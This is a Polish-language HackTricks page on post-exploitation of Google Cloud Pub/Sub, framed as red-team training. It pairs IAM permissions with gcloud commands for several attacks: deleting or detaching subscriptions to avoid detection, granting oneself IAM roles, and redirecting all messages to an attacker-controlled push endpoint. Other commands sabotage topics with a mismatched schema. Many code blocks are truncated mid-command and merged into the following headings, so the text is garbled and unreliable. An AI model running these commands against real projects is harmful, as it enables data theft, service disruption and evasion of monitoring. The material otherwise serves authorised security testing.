GCP - Pub/Sub Post Exploitation
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Pub/Sub
Aby uzyskać więcej informacji o Pub/Sub, zobacz następującą stronę:
pubsub.topics.publish
Opublikowanie wiadomości w topicu, przydatne do wysyłania nieoczekiwanych danych oraz wywoływania nieoczekiwanych funkcjonalności lub exploit vulnerabilities:
Opublikuj wiadomość w topicu
```bash # Publish a message in a topic gcloud pubsub topics publishpubsub.topics.detachSubscription
Przydatne do uniemożliwienia subskrypcji odbierania wiadomości, np. w celu uniknięcia wykrycia.
Odłącz subskrypcję od tematu
```bash gcloud pubsub topics detach-subscriptionpubsub.topics.delete
Przydatne do uniemożliwienia subskrypcji otrzymywania wiadomości, być może w celu uniknięcia wykrycia.
Możliwe jest usunięcie topicu nawet wtedy, gdy są do niego przypisane subskrypcje.
Usuń topic
```bash gcloud pubsub topics deletepubsub.topics.update
Użyj tego uprawnienia, aby zmienić ustawienia topic w celu jego zakłócenia, np. --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key…
pubsub.topics.setIamPolicy
Nadaj sobie uprawnienie do wykonania któregokolwiek z powyższych ataków.
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)
Pobierz wszystkie wiadomości na serwer WWW:
Utwórz push subscription, aby otrzymywać wiadomości
```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions createUtwórz subskrypcję i użyj jej do pobierania wiadomości:
Utwórz subskrypcję typu pull i pobierz wiadomości
```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions createYou also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull
This command will wait for a message to be posted
</details>
### `pubsub.subscriptions.delete`
**Usunięcie subskrypcji** może być przydatne do zakłócenia systemu przetwarzania logów lub czegoś podobnego:
<details>
<summary>Usuń subskrypcję</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
Użyj tego uprawnienia, aby zaktualizować ustawienie tak, aby wiadomości były zapisywane w miejscu, do którego masz dostęp (URL, Big Query table, Bucket), lub aby je po prostu zakłócić.
Punkt końcowy aktualizacji subskrypcji
```bash gcloud pubsub subscriptions update --push-endpointpubsub.subscriptions.setIamPolicy
Przyznaj sobie uprawnienia potrzebne do przeprowadzenia któregokolwiek z wcześniej opisanych ataków.
pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)
Dołącz schema do topic tak, aby messages ich nie spełniały i w efekcie topic został zakłócony.
Jeśli nie ma żadnych schema, może być konieczne utworzenie jednego.
Utwórz plik schema i dołącz do topic
```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
Może się wydawać, że usunięcie schematu pozwoli na wysyłanie wiadomości, które nie spełniają schematu. Jednakże, ponieważ schemat zostanie usunięty, żadna wiadomość faktycznie nie trafi do tematu. Więc to jest BEZUŻYTECZNE:
Usuń schemat (nieprzydatne)
```bash gcloud pubsub schemas deletepubsub.schemas.setIamPolicy
Nadaj sobie uprawnienia potrzebne do przeprowadzenia któregokolwiek z wcześniej omówionych ataków.
pubsub.snapshots.create, pubsub.snapshots.seek
To utworzy snapshot wszystkich unACKed wiadomości i przywróci je do subskrypcji. Niezbyt przydatne dla atakującego, ale oto:
Utwórz snapshot i wykonaj do niego seek
```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

